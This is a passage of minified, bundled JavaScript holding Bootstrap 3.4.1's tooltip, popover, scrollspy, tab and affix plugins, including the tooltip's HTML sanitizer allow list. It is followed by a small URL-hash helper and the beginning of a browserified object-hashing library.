o=["sanitize","whiteList","sanitizeFn"],a=["background","cite","href","itemtype","longdesc","poster","src","xlink:href"],t={"*":["class","dir","id","lang","role",/^aria-[\w-]*$/i],a:["target","href","title","rel"],area:[],b:[],br:[],col:[],code:[],div:[],em:[],hr:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],i:[],img:["src","alt","title","width","height"],li:[],ol:[],p:[],pre:[],s:[],small:[],span:[],sub:[],sup:[],strong:[],u:[],ul:[]},r=/^(?:(?:https?|mailto|ftp|tel|file):|[^&:/?#]*(?:[/?#]|$))/gi,l=/^data:(?:image\/(?:bmp|gif|jpeg|jpg|png|tiff|webp)|video\/(?:mpeg|mp4|ogg|webm)|audio\/(?:mp3|oga|ogg|opus));base64,[a-z0-9+/]+=*$/i;function u(t,e){var i=t.nodeName.toLowerCase();if(-1!==g.inArray(i,e))return-1===g.inArray(i,a)||Boolean(t.nodeValue.match(r)||t.nodeValue.match(l));for(var o=g(e).filter(function(t,e){return e instanceof RegExp}),n=0,s=o.length;n<s;n++)if(i.match(o[n]))return!0;return!1}function n(t,e,i){if(0===t.length)return t;if(i&&"function"==typeof i)return i(t);if(!document.implementation||!document.implementation.createHTMLDocument)return t;var o=document.implementation.createHTMLDocument("sanitization");o.body.innerHTML=t;for(var n=g.map(e,function(t,e){return e}),s=g(o.body).find("*"),a=0,r=s.length;a<r;a++){var l=s[a],h=l.nodeName.toLowerCase();if(-1!==g.inArray(h,n))for(var d=g.map(l.attributes,function(t){return t}),p=[].concat(e["*"]||[],e[h]||[]),c=0,f=d.length;c<f;c++)u(d[c],p)||l.removeAttribute(d[c].nodeName);else l.parentNode.removeChild(l)}return o.body.innerHTML}var m=function(t,e){this.type=null,this.options=null,this.enabled=null,this.timeout=null,this.hoverState=null,this.$element=null,this.inState=null,this.init("tooltip",t,e)};m.VERSION="3.4.1",m.TRANSITION_DURATION=150,m.DEFAULTS={animation:!0,placement:"top",selector:!1,template:'<div class="tooltip" role="tooltip"><div class="tooltip-arrow"></div><div class="tooltip-inner"></div></div>',trigger:"hover focus",title:"",delay:0,html:!1,container:!1,viewport:{selector:"body",padding:0},sanitize:!0,sanitizeFn:null,whiteList:t},m.prototype.init=function(t,e,i){if(this.enabled=!0,this.type=t,this.$element=g(e),this.options=this.getOptions(i),this.$viewport=this.options.viewport&&g(document).find(g.isFunction(this.options.viewport)?this.options.viewport.call(this,this.$element):this.options.viewport.selector||this.options.viewport),this.inState={click:!1,hover:!1,focus:!1},this.$element[0]instanceof document.constructor&&!this.options.selector)throw new Error("`selector` option must be specified when initializing "+this.type+" on the window.document object!");for(var o=this.options.trigger.split(" "),n=o.length;n--;){var s=o[n];if("click"==s)this.$element.on("click."+this.type,this.options.selector,g.proxy(this.toggle,this));else if("manual"!=s){var a="hover"==s?"mouseenter":"focusin",r="hover"==s?"mouseleave":"focusout";this.$element.on(a+"."+this.type,this.options.selector,g.proxy(this.enter,this)),this.$element.on(r+"."+this.type,this.options.selector,g.proxy(this.leave,this))}}this.options.selector?this._options=g.extend({},this.options,{trigger:"manual",selector:""}):this.fixTitle()},m.prototype.getDefaults=function(){return m.DEFAULTS},m.prototype.getOptions=function(t){var e=this.$element.data();for(var i in e)e.hasOwnProperty(i)&&-1!==g.inArray(i,o)&&delete e[i];return(t=g.extend({},this.getDefaults(),e,t)).delay&&"number"==typeof t.delay&&(t.delay={show:t.delay,hide:t.delay}),t.sanitize&&(t.template=n(t.template,t.whiteList,t.sanitizeFn)),t},m.prototype.getDelegateOptions=function(){var i={},o=this.getDefaults();return this._options&&g.each(this._options,function(t,e){o[t]!=e&&(i[t]=e)}),i},m.prototype.enter=function(t){var e=t instanceof this.constructor?t:g(t.currentTarget).data("bs."+this.type);if(e||(e=new this.constructor(t.currentTarget,this.getDelegateOptions()),g(t.currentTarget).data("bs."+this.type,e)),t instanceof g.Event&&(e.inState["focusin"==t.type?"focus":"hover"]=!0),e.tip().hasClass("in")||"in"==e.hoverState)e.hoverState="in";else{if(clearTimeout(e.timeout),e.hoverState="in",!e.options.delay||!e.options.delay.show)return e.show();e.timeout=setTimeout(function(){"in"==e.hoverState&&e.show()},e.options.delay.show)}},m.prototype.isInStateTrue=function(){for(var t in this.inState)if(this.inState[t])return!0;return!1},m.prototype.leave=function(t){var e=t instanceof this.constructor?t:g(t.currentTarget).data("bs."+this.type);if(e||(e=new this.constructor(t.currentTarget,this.getDelegateOptions()),g(t.currentTarget).data("bs."+this.type,e)),t instanceof g.Event&&(e.inState["focusout"==t.type?"focus":"hover"]=!1),!e.isInStateTrue()){if(clearTimeout(e.timeout),e.hoverState="out",!e.options.delay||!e.options.delay.hide)return e.hide();e.timeout=setTimeout(function(){"out"==e.hoverState&&e.hide()},e.options.delay.hide)}},m.prototype.show=function(){var t=g.Event("show.bs."+this.type);if(this.hasContent()&&this.enabled){this.$element.trigger(t);var e=g.contains(this.$element[0].ownerDocument.documentElement,this.$element[0]);if(t.isDefaultPrevented()||!e)return;var i=this,o=this.tip(),n=this.getUID(this.type);this.setContent(),o.attr("id",n),this.$element.attr("aria-describedby",n),this.options.animation&&o.addClass("fade");var s="function"==typeof this.options.placement?this.options.placement.call(this,o[0],this.$element[0]):this.options.placement,a=/\s?auto?\s?/i,r=a.test(s);r&&(s=s.replace(a,"")||"top"),o.detach().css({top:0,left:0,display:"block"}).addClass(s).data("bs."+this.type,this),this.options.container?o.appendTo(g(document).find(this.options.container)):o.insertAfter(this.$element),this.$element.trigger("inserted.bs."+this.type);var l=this.getPosition(),h=o[0].offsetWidth,d=o[0].offsetHeight;if(r){var p=s,c=this.getPosition(this.$viewport);s="bottom"==s&&l.bottom+d>c.bottom?"top":"top"==s&&l.top-d<c.top?"bottom":"right"==s&&l.right+h>c.width?"left":"left"==s&&l.left-h<c.left?"right":s,o.removeClass(p).addClass(s)}var f=this.getCalculatedOffset(s,l,h,d);this.applyPlacement(f,s);var u=function(){var t=i.hoverState;i.$element.trigger("shown.bs."+i.type),i.hoverState=null,"out"==t&&i.leave(i)};g.support.transition&&this.$tip.hasClass("fade")?o.one("bsTransitionEnd",u).emulateTransitionEnd(m.TRANSITION_DURATION):u()}},m.prototype.applyPlacement=function(t,e){var i=this.tip(),o=i[0].offsetWidth,n=i[0].offsetHeight,s=parseInt(i.css("margin-top"),10),a=parseInt(i.css("margin-left"),10);isNaN(s)&&(s=0),isNaN(a)&&(a=0),t.top+=s,t.left+=a,g.offset.setOffset(i[0],g.extend({using:function(t){i.css({top:Math.round(t.top),left:Math.round(t.left)})}},t),0),i.addClass("in");var r=i[0].offsetWidth,l=i[0].offsetHeight;"top"==e&&l!=n&&(t.top=t.top+n-l);var h=this.getViewportAdjustedDelta(e,t,r,l);h.left?t.left+=h.left:t.top+=h.top;var d=/top|bottom/.test(e),p=d?2*h.left-o+r:2*h.top-n+l,c=d?"offsetWidth":"offsetHeight";i.offset(t),this.replaceArrow(p,i[0][c],d)},m.prototype.replaceArrow=function(t,e,i){this.arrow().css(i?"left":"top",50*(1-t/e)+"%").css(i?"top":"left","")},m.prototype.setContent=function(){var t=this.tip(),e=this.getTitle();this.options.html?(this.options.sanitize&&(e=n(e,this.options.whiteList,this.options.sanitizeFn)),t.find(".tooltip-inner").html(e)):t.find(".tooltip-inner").text(e),t.removeClass("fade in top bottom left right")},m.prototype.hide=function(t){var e=this,i=g(this.$tip),o=g.Event("hide.bs."+this.type);function n(){"in"!=e.hoverState&&i.detach(),e.$element&&e.$element.removeAttr("aria-describedby").trigger("hidden.bs."+e.type),t&&t()}if(this.$element.trigger(o),!o.isDefaultPrevented())return i.removeClass("in"),g.support.transition&&i.hasClass("fade")?i.one("bsTransitionEnd",n).emulateTransitionEnd(m.TRANSITION_DURATION):n(),this.hoverState=null,this},m.prototype.fixTitle=function(){var t=this.$element;(t.attr("title")||"string"!=typeof t.attr("data-original-title"))&&t.attr("data-original-title",t.attr("title")||"").attr("title","")},m.prototype.hasContent=function(){return this.getTitle()},m.prototype.getPosition=function(t){var e=(t=t||this.$element)[0],i="BODY"==e.tagName,o=e.getBoundingClientRect();null==o.width&&(o=g.extend({},o,{width:o.right-o.left,height:o.bottom-o.top}));var n=window.SVGElement&&e instanceof window.SVGElement,s=i?{top:0,left:0}:n?null:t.offset(),a={scroll:i?document.documentElement.scrollTop||document.body.scrollTop:t.scrollTop()},r=i?{width:g(window).width(),height:g(window).height()}:null;return g.extend({},o,a,r,s)},m.prototype.getCalculatedOffset=function(t,e,i,o){return"bottom"==t?{top:e.top+e.height,left:e.left+e.width/2-i/2}:"top"==t?{top:e.top-o,left:e.left+e.width/2-i/2}:"left"==t?{top:e.top+e.height/2-o/2,left:e.left-i}:{top:e.top+e.height/2-o/2,left:e.left+e.width}},m.prototype.getViewportAdjustedDelta=function(t,e,i,o){var n={top:0,left:0};if(!this.$viewport)return n;var s=this.options.viewport&&this.options.viewport.padding||0,a=this.getPosition(this.$viewport);if(/right|left/.test(t)){var r=e.top-s-a.scroll,l=e.top+s-a.scroll+o;r<a.top?n.top=a.top-r:l>a.top+a.height&&(n.top=a.top+a.height-l)}else{var h=e.left-s,d=e.left+s+i;h<a.left?n.left=a.left-h:d>a.right&&(n.left=a.left+a.width-d)}return n},m.prototype.getTitle=function(){var t=this.$element,e=this.options;return t.attr("data-original-title")||("function"==typeof e.title?e.title.call(t[0]):e.title)},m.prototype.getUID=function(t){for(;t+=~~(1e6*Math.random()),document.getElementById(t););return t},m.prototype.tip=function(){if(!this.$tip&&(this.$tip=g(this.options.template),1!=this.$tip.length))throw new Error(this.type+" `template` option must consist of exactly 1 top-level element!");return this.$tip},m.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".tooltip-arrow")},m.prototype.enable=function(){this.enabled=!0},m.prototype.disable=function(){this.enabled=!1},m.prototype.toggleEnabled=function(){this.enabled=!this.enabled},m.prototype.toggle=function(t){var e=this;t&&((e=g(t.currentTarget).data("bs."+this.type))||(e=new this.constructor(t.currentTarget,this.getDelegateOptions()),g(t.currentTarget).data("bs."+this.type,e))),t?(e.inState.click=!e.inState.click,e.isInStateTrue()?e.enter(e):e.leave(e)):e.tip().hasClass("in")?e.leave(e):e.enter(e)},m.prototype.destroy=function(){var t=this;clearTimeout(this.timeout),this.hide(function(){t.$element.off("."+t.type).removeData("bs."+t.type),t.$tip&&t.$tip.detach(),t.$tip=null,t.$arrow=null,t.$viewport=null,t.$element=null})},m.prototype.sanitizeHtml=function(t){return n(t,this.options.whiteList,this.options.sanitizeFn)};var e=g.fn.tooltip;g.fn.tooltip=function i(o){return this.each(function(){var t=g(this),e=t.data("bs.tooltip"),i="object"==typeof o&&o;!e&&/destroy|hide/.test(o)||(e||t.data("bs.tooltip",e=new m(this,i)),"string"==typeof o&&e[o]())})},g.fn.tooltip.Constructor=m,g.fn.tooltip.noConflict=function(){return g.fn.tooltip=e,this}}(jQuery),function(n){"use strict";var s=function(t,e){this.init("popover",t,e)};if(!n.fn.tooltip)throw new Error("Popover requires tooltip.js");s.VERSION="3.4.1",s.DEFAULTS=n.extend({},n.fn.tooltip.Constructor.DEFAULTS,{placement:"right",trigger:"click",content:"",template:'<div class="popover" role="tooltip"><div class="arrow"></div><h3 class="popover-title"></h3><div class="popover-content"></div></div>'}),((s.prototype=n.extend({},n.fn.tooltip.Constructor.prototype)).constructor=s).prototype.getDefaults=function(){return s.DEFAULTS},s.prototype.setContent=function(){var t=this.tip(),e=this.getTitle(),i=this.getContent();if(this.options.html){var o=typeof i;this.options.sanitize&&(e=this.sanitizeHtml(e),"string"===o&&(i=this.sanitizeHtml(i))),t.find(".popover-title").html(e),t.find(".popover-content").children().detach().end()["string"===o?"html":"append"](i)}else t.find(".popover-title").text(e),t.find(".popover-content").children().detach().end().text(i);t.removeClass("fade top bottom left right in"),t.find(".popover-title").html()||t.find(".popover-title").hide()},s.prototype.hasContent=function(){return this.getTitle()||this.getContent()},s.prototype.getContent=function(){var t=this.$element,e=this.options;return t.attr("data-content")||("function"==typeof e.content?e.content.call(t[0]):e.content)},s.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".arrow")};var t=n.fn.popover;n.fn.popover=function e(o){return this.each(function(){var t=n(this),e=t.data("bs.popover"),i="object"==typeof o&&o;!e&&/destroy|hide/.test(o)||(e||t.data("bs.popover",e=new s(this,i)),"string"==typeof o&&e[o]())})},n.fn.popover.Constructor=s,n.fn.popover.noConflict=function(){return n.fn.popover=t,this}}(jQuery),function(s){"use strict";function n(t,e){this.$body=s(document.body),this.$scrollElement=s(t).is(document.body)?s(window):s(t),this.options=s.extend({},n.DEFAULTS,e),this.selector=(this.options.target||"")+" .nav li > a",this.offsets=[],this.targets=[],this.activeTarget=null,this.scrollHeight=0,this.$scrollElement.on("scroll.bs.scrollspy",s.proxy(this.process,this)),this.refresh(),this.process()}function e(o){return this.each(function(){var t=s(this),e=t.data("bs.scrollspy"),i="object"==typeof o&&o;e||t.data("bs.scrollspy",e=new n(this,i)),"string"==typeof o&&e[o]()})}n.VERSION="3.4.1",n.DEFAULTS={offset:10},n.prototype.getScrollHeight=function(){return this.$scrollElement[0].scrollHeight||Math.max(this.$body[0].scrollHeight,document.documentElement.scrollHeight)},n.prototype.refresh=function(){var t=this,o="offset",n=0;this.offsets=[],this.targets=[],this.scrollHeight=this.getScrollHeight(),s.isWindow(this.$scrollElement[0])||(o="position",n=this.$scrollElement.scrollTop()),this.$body.find(this.selector).map(function(){var t=s(this),e=t.data("target")||t.attr("href"),i=/^#./.test(e)&&s(e);return i&&i.length&&i.is(":visible")&&[[i[o]().top+n,e]]||null}).sort(function(t,e){return t[0]-e[0]}).each(function(){t.offsets.push(this[0]),t.targets.push(this[1])})},n.prototype.process=function(){var t,e=this.$scrollElement.scrollTop()+this.options.offset,i=this.getScrollHeight(),o=this.options.offset+i-this.$scrollElement.height(),n=this.offsets,s=this.targets,a=this.activeTarget;if(this.scrollHeight!=i&&this.refresh(),o<=e)return a!=(t=s[s.length-1])&&this.activate(t);if(a&&e<n[0])return this.activeTarget=null,this.clear();for(t=n.length;t--;)a!=s[t]&&e>=n[t]&&(n[t+1]===undefined||e<n[t+1])&&this.activate(s[t])},n.prototype.activate=function(t){this.activeTarget=t,this.clear();var e=this.selector+'[data-target="'+t+'"],'+this.selector+'[href="'+t+'"]',i=s(e).parents("li").addClass("active");i.parent(".dropdown-menu").length&&(i=i.closest("li.dropdown").addClass("active")),i.trigger("activate.bs.scrollspy")},n.prototype.clear=function(){s(this.selector).parentsUntil(this.options.target,".active").removeClass("active")};var t=s.fn.scrollspy;s.fn.scrollspy=e,s.fn.scrollspy.Constructor=n,s.fn.scrollspy.noConflict=function(){return s.fn.scrollspy=t,this},s(window).on("load.bs.scrollspy.data-api",function(){s('[data-spy="scroll"]').each(function(){var t=s(this);e.call(t,t.data())})})}(jQuery),function(r){"use strict";var a=function(t){this.element=r(t)};function e(i){return this.each(function(){var t=r(this),e=t.data("bs.tab");e||t.data("bs.tab",e=new a(this)),"string"==typeof i&&e[i]()})}a.VERSION="3.4.1",a.TRANSITION_DURATION=150,a.prototype.show=function(){var t=this.element,e=t.closest("ul:not(.dropdown-menu)"),i=t.data("target");if(i||(i=(i=t.attr("href"))&&i.replace(/.*(?=#[^\s]*$)/,"")),!t.parent("li").hasClass("active")){var o=e.find(".active:last a"),n=r.Event("hide.bs.tab",{relatedTarget:t[0]}),s=r.Event("show.bs.tab",{relatedTarget:o[0]});if(o.trigger(n),t.trigger(s),!s.isDefaultPrevented()&&!n.isDefaultPrevented()){var a=r(document).find(i);this.activate(t.closest("li"),e),this.activate(a,a.parent(),function(){o.trigger({type:"hidden.bs.tab",relatedTarget:t[0]}),t.trigger({type:"shown.bs.tab",relatedTarget:o[0]})})}}},a.prototype.activate=function(t,e,i){var o=e.find("> .active"),n=i&&r.support.transition&&(o.length&&o.hasClass("fade")||!!e.find("> .fade").length);function s(){o.removeClass("active").find("> .dropdown-menu > .active").removeClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded",!1),t.addClass("active").find('[data-toggle="tab"]').attr("aria-expanded",!0),n?(t[0].offsetWidth,t.addClass("in")):t.removeClass("fade"),t.parent(".dropdown-menu").length&&t.closest("li.dropdown").addClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded",!0),i&&i()}o.length&&n?o.one("bsTransitionEnd",s).emulateTransitionEnd(a.TRANSITION_DURATION):s(),o.removeClass("in")};var t=r.fn.tab;r.fn.tab=e,r.fn.tab.Constructor=a,r.fn.tab.noConflict=function(){return r.fn.tab=t,this};var i=function(t){t.preventDefault(),e.call(r(this),"show")};r(document).on("click.bs.tab.data-api",'[data-toggle="tab"]',i).on("click.bs.tab.data-api",'[data-toggle="pill"]',i)}(jQuery),function(l){"use strict";var h=function(t,e){this.options=l.extend({},h.DEFAULTS,e);var i=this.options.target===h.DEFAULTS.target?l(this.options.target):l(document).find(this.options.target);this.$target=i.on("scroll.bs.affix.data-api",l.proxy(this.checkPosition,this)).on("click.bs.affix.data-api",l.proxy(this.checkPositionWithEventLoop,this)),this.$element=l(t),this.affixed=null,this.unpin=null,this.pinnedOffset=null,this.checkPosition()};function i(o){return this.each(function(){var t=l(this),e=t.data("bs.affix"),i="object"==typeof o&&o;e||t.data("bs.affix",e=new h(this,i)),"string"==typeof o&&e[o]()})}h.VERSION="3.4.1",h.RESET="affix affix-top affix-bottom",h.DEFAULTS={offset:0,target:window},h.prototype.getState=function(t,e,i,o){var n=this.$target.scrollTop(),s=this.$element.offset(),a=this.$target.height();if(null!=i&&"top"==this.affixed)return n<i&&"top";if("bottom"==this.affixed)return null!=i?!(n+this.unpin<=s.top)&&"bottom":!(n+a<=t-o)&&"bottom";var r=null==this.affixed,l=r?n:s.top;return null!=i&&n<=i?"top":null!=o&&t-o<=l+(r?a:e)&&"bottom"},h.prototype.getPinnedOffset=function(){if(this.pinnedOffset)return this.pinnedOffset;this.$element.removeClass(h.RESET).addClass("affix");var t=this.$target.scrollTop(),e=this.$element.offset();return this.pinnedOffset=e.top-t},h.prototype.checkPositionWithEventLoop=function(){setTimeout(l.proxy(this.checkPosition,this),1)},h.prototype.checkPosition=function(){if(this.$element.is(":visible")){var t=this.$element.height(),e=this.options.offset,i=e.top,o=e.bottom,n=Math.max(l(document).height(),l(document.body).height());"object"!=typeof e&&(o=i=e),"function"==typeof i&&(i=e.top(this.$element)),"function"==typeof o&&(o=e.bottom(this.$element));var s=this.getState(n,t,i,o);if(this.affixed!=s){null!=this.unpin&&this.$element.css("top","");var a="affix"+(s?"-"+s:""),r=l.Event(a+".bs.affix");if(this.$element.trigger(r),r.isDefaultPrevented())return;this.affixed=s,this.unpin="bottom"==s?this.getPinnedOffset():null,this.$element.removeClass(h.RESET).addClass(a).trigger(a.replace("affix","affixed")+".bs.affix")}"bottom"==s&&this.$element.offset({top:n-t-o})}};var t=l.fn.affix;l.fn.affix=i,l.fn.affix.Constructor=h,l.fn.affix.noConflict=function(){return l.fn.affix=t,this},l(window).on("load",function(){l('[data-spy="affix"]').each(function(){var t=l(this),e=t.data();e.offset=e.offset||{},null!=e.offsetBottom&&(e.offset.bottom=e.offsetBottom),null!=e.offsetTop&&(e.offset.top=e.offsetTop),i.call(t,e)})})}(jQuery);
76; 77/* AUTOGENERATED: hash.js */ 78(function(a,b){"use strict";var c=function(){var b=function(){var b=a.location.hash?a.location.hash.substr(1).split("&"):[],c={};for(var d=0;d<b.length;d++){var e=b[d].split("=");c[e[0]]=decodeURIComponent(e[1])}return c};var c=function(b){var c=[];for(var d in b){c.push(d+"="+encodeURIComponent(b[d]))}a.location.hash=c.join("&")};return{get:function(a){var c=b();if(a){return c[a]}else{return c}},add:function(a){var d=b();for(var e in a){d[e]=a[e]}c(d)},remove:function(a){a=typeof a=="string"?[a]:a;var d=b();for(var e=0;e<a.length;e++){delete d[a[e]]}c(d)},clear:function(){c({})}}}();a.hash=c})(window);; 79/* AUTOGENERATED: object_hash.js */ 80!function(e){if("object"==typeof exports)module.exports=e();else if("function"==typeof define&&define.amd)define(e);else{var t;"undefined"!=typeof window?t=window:"undefined"!=typeof global?t=global:"undefined"!=typeof self&&(t=self),t.objectHash=e()}}(function(){return function e(t,r,n){function o(u,a){if(!r[u]){if(!t[u]){var s="function"==typeof require&&require;if(!a&&s)return s(u,!0);if(i)return i(u,!0);throw new Error("Cannot find module '"+u+"'")}var f=r[u]={exports:{}};t[u][0].call(f.exports,function(e){var r=t[u][1][e];return o(r?r:e)},f,f.exports,e,t,r,n)}return r[u].exports}for(var i="function"==typeof require&&require,u=0;u<n.length;u++)o(n[u]);return o}({1:[function(e,t,r){(function(n,o,i,u,a,s,f,c,l){"use strict";function d(e,t){return t=h(e,t),g(e,t)}function h(e,t){var r=m.getHashes?m.getHashes():["sha1","md5"],n=["buffer","hex","binary","base64"];if(t=t||{},t.algorithm=t.algorithm||"sha1",t.encoding=t.encoding||"hex",t.excludeValues=t.excludeValues?!0:!1,t.algorithm=t.algorithm.toLowerCase(),t.encoding=t.encoding.toLowerCase(),t.ignoreUnknown=t.ignoreUnknown!==!0?!1:!0,t.respectType=t.respectType===!1?!1:!0,t.respectFunctionNames=t.respectFunctionNames===!1?!1:!0,t.respectFunctionProperties=t.respectFunctionProperties===!1?!1:!0,t.unorderedArrays=t.unorderedArrays!==!0?!1:!0,t.unorderedSets=t.unorderedSets===!1?!1:!0,t.replacer=t.replacer||void 0,"undefined"==typeof e)throw new Error("Object argument required.");r.push("passthrough");for(var o=0;o<r.length;++o)r[o].toLowerCase()===t.algorithm.toLowerCase()&&(t.algorithm=r[o]);if(-1===r.indexOf(t.algorithm))throw new Error('Algorithm "'+t.algorithm+'" not supported. supported values: '+r.join(", "));if(-1===n.indexOf(t.encoding)&&"passthrough"!==t.algorithm)throw new Error('Encoding "'+t.encoding+'" not supported. supported values: '+n.join(", "));return t}function p(e){if("function"!=typeof e)return!1;var t=/^function\s+\w*\s*\(\s*\)\s*{\s+\[native code\]\s+}$/i;return null!=t.exec(Function.prototype.toString.call(e))}function g(e,t){var r;r="passthrough"!==t.algorithm?m.createHash(t.algorithm):new y,"undefined"==typeof r.write&&(r.write=r.update,r.end=r.update);var n=w(t,r);if(n.dispatch(e),r.end(""),"undefined"==typeof r.read&&"function"==typeof r.digest)return r.digest("buffer"===t.encoding?void 0:t.encoding);var o=r.read();return"buffer"===t.encoding?o:o.toString(t.encoding)}function w(e,t,r){return r=r||[],{dispatch:function(t){e.replacer&&(t=e.replacer(t));var r=typeof t;return null===t&&(r="null"),this["_"+r](t)},_object:function(n){var o=/\[object (.*)\]/i,u=Object.prototype.toString.call(n),a=o.exec(u);a=a?a[1]:"unknown:["+u+"]",a=a.toLowerCase();var s=null;if((s=r.indexOf(n))>=0)return this.dispatch("[CIRCULAR:"+s+"]");if(r.push(n),"undefined"!=typeof i&&i.isBuffer&&i.isBuffer(n))return t.write("buffer:"),t.write(n);if("object"===a||"function"===a){var f=Object.keys(n).sort();e.respectType===!1||p(n)||f.splice(0,0,"prototype","__proto__","constructor"),t.write("object:"+f.length+":");var c=this;return f.forEach(function(r){c.dispatch(r),t.write(":"),e.excludeValues||c.dispatch(n[r]),t.write(",")})}if(!this["_"+a]){if(e.ignoreUnknown)return t.write("["+a+"]");throw new Error('Unknown object type "'+a+'"')}this["_"+a](n)},_array:function(n,o){o="undefined"!=typeof o?o:e.unorderedArrays!==!1;var i=this;if(t.write("array:"+n.length+":"),!o||n.length<=1)return n.forEach(function(e){return i.dispatch(e)});var u=[],a=n.map(function(t){var n=new y,o=r.slice(),i=w(e,n,o);return i.dispatch(t),u=u.concat(o.slice(r.length)),n.read().toString()});return r=r.concat(u),a.sort(),this._array(a,!1)},_date:function(e){return t.write("date:"+e.toJSON())},_symbol:function(e){return t.write("symbol:"+e.toString(),"utf8")},_error:function(e){return t.write("error:"+e.toString(),"utf8")},_boolean:function(e){return t.write("bool:"+e.toString())}
80,_string:function(e){t.write("string:"+e.length+":"),t.write(e,"utf8")},_function:function(r){t.write("fn:"),p(r)?this.dispatch("[native]"):this.dispatch(r.toString()),e.respectFunctionNames!==!1&&this.dispatch("function-name:"+String(r.name)),e.respectFunctionProperties&&this._object(r)},_number:function(e){return t.write("number:"+e.toString())},_xml:function(e){return t.write("xml:"+e.toString(),"utf8")},_null:function(){return t.write("Null")},_undefined:function(){return t.write("Undefined")},_regexp:function(e){return t.write("regex:"+e.toString(),"utf8")},_uint8array:function(e){return t.write("uint8array:"),this.dispatch(Array.prototype.slice.call(e))},_uint8clampedarray:function(e){return t.write("uint8clampedarray:"),this.dispatch(Array.prototype.slice.call(e))},_int8array:function(e){return t.write("uint8array:"),this.dispatch(Array.prototype.slice.call(e))},_uint16array:function(e){return t.write("uint16array:"),this.dispatch(Array.prototype.slice.call(e))},_int16array:function(e){return t.write("uint16array:"),this.dispatch(Array.prototype.slice.call(e))},_uint32array:function(e){return t.write("uint32array:"),this.dispatch(Array.prototype.slice.call(e))},_int32array:function(e){return t.write("uint32array:"),this.dispatch(Array.prototype.slice.call(e))},_float32array:function(e){return t.write("float32array:"),this.dispatch(Array.prototype.slice.call(e))},_float64array:function(e){return t.write("float64array:"),this.dispatch(Array.prototype.slice.call(e))},_arraybuffer:function(e){return t.write("arraybuffer:"),this.dispatch(new Uint8Array(e))},_url:function(e){return t.write("url:"+e.toString(),"utf8")},_map:function(r){t.write("map:");var n=Array.from(r);return this._array(n,e.unorderedSets!==!1)},_set:function(r){t.write("set:");var n=Array.from(r);return this._array(n,e.unorderedSets!==!1)},_blob:function(){if(e.ignoreUnknown)return t.write("[blob]");throw Error('Hashing Blob objects is currently not supported\n(see https://github.com/puleos/object-hash/issues/26)\nUse "options.replacer" or "options.ignoreUnknown"\n')},_domwindow:function(){return t.write("domwindow")},_process:function(){return t.write("process")},_timer:function(){return t.write("timer")},_pipe:function(){return t.write("pipe")},_tcp:function(){return t.write("tcp")},_udp:function(){return t.write("udp")},_tty:function(){return t.write("tty")},_statwatcher:function(){return t.write("statwatcher")},_securecontext:function(){return t.write("securecontext")},_connection:function(){return t.write("connection")},_zlib:function(){return t.write("zlib")},_context:function(){return t.write("context")},_nodescript:function(){return t.write("nodescript")},_httpparser:function(){return t.write("httpparser")},_dataview:function(){return t.write("dataview")},_signal:function(){return t.write("signal")},_fsevent:function(){return t.write("fsevent")},_tlswrap:function(){return t.write("tlswrap")}}}function y(){return{buf:"",write:function(e){this.buf+=e},end:function(e){this.buf+=e},read:function(){return this.buf}}}var m=e("crypto");r=t.exports=d,r.sha1=function(e){return d(e)},r.keys=function(e){return d(e,{excludeValues:!0,algorithm:"sha1",encoding:"hex"})},r.MD5=function(e){return d(e,{algorithm:"md5",encoding:"hex"})},r.keysMD5=function(e){return d(e,{algorithm:"md5",encoding:"hex",excludeValues:!0})},r.writeToStream=function(e,t,r){return"undefined"==typeof r&&(r=t,t={}),t=h(e,t),w(t,r).dispatch(e)}}).call(this,e("lYpoI2"),"undefined"!=typeof self?self:"undefined"!=typeof window?window:{},e("buffer").Buffer,arguments[3],arguments[4],arguments[5],arguments[6],"/fake_50da2638.js","/")},{buffer:3,crypto:5,lYpoI2:10}],2:[function(e,t,r){(function(e,t,n,o,i,u,a,s,f){var c="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";!function(e){"use strict";function t(e){var t=e.charCodeAt(0);return t===i||t===l?62:t===u||t===d?63:a>t?-1:a+10>t?t-a+26+26:f+26>t?t-f:s+26>t?t-s+26:void 0}function r(e){function r(e){f[l++]=e}var n,i,u,a,s,f;if(e.length%4>0)throw new Error("Invalid string. Length must be a multiple of 4");var c=e.length;s="="===e.charAt(c-2)?2:"="===e.charAt(c-1)?1:0,f=new o(3*e.length/4-s),u=s>0?e.length-4:e.length;var l=0;for(n=0,i=0;u>n;n+=4,i+=3)a=t(e.charAt(n))<<18|t(e.charAt(n+1))<<12|t(e.charAt(n+2))<<6|t(e.charAt(n+3)),r((16711680&a)>>16),r((65280&a)>>8),r(255&a);return 2===s?(a=t(e.charAt(n))<<2|t(e.charAt(n+1))>>4,r(255&a)):1===s&&(a=t(e.charAt(n))<<10|t(e.charAt(n+1))<<4|t(e.charAt(n+2))>>2,r(a>>8&255),r(255&a)),f}function n(e){function t(e){return c.charAt(e)}function r(e){return t(e>>18&63)+t(e>>12&63)+t(e>>6&63)+t(63&e)}var n,o,i,u=e.length%3,a="";for(n=0,i=e.length-u;i>n;n+=3)o=(e[n]<<16)+(e[n+1]<<8)+e[n+2],a+=r(o);switch(u){case 1:o=e[e.length-1],a+=t(o>>2),a+=t(o<<4&63),a+="==";break;case 2:o=(e[e.length-2]<<8)+e[e.length-1],a+=t(o>>10),a+=t(o>>4&63),a+=t(o<<2&63),a+="="}return a}var o="undefined"!=typeof Uint8Array?Uint8Array:Array,i="+".charCodeAt(0),u="/".charCodeAt(0),a="0".charCodeAt(0),s="a".charCodeAt(0),f="A".charCodeAt(0),l="-".charCodeAt(0),d="_".charCodeAt(0);e.toByteArray=r,e.fromByteArray=n}("undefined"==typeof r?this.base64js={}:r)}).call(this,e("lYpoI2"),"undefined"!=typeof self?self:"undefined"!=typeof window?window:{},e("buffer").Buffer,arguments[3],arguments[4],arguments[5],arguments[6],"/node_modules/gulp-browserify/node_modules/base64-js/lib/b64.js","/node_modules/gulp-browserify/node_modules/base64-js/lib")},{buffer:3,lYpoI2:10}],3:[function(e,t,r){(function(t,n,o,i,u,a,s,f,c){function o(e,t,r){if(!(this instanceof o))return new o(e,t,r);var n=typeof e;if("base64"===t&&"string"===n)for(e=N(e);e.length%4!==0;)e+="=";var i;if("number"===n)i=F(e);else if("string"===n)i=o.byteLength(e,t);else{if("object"!==n)throw new Error("First argument needs to be a number, array or 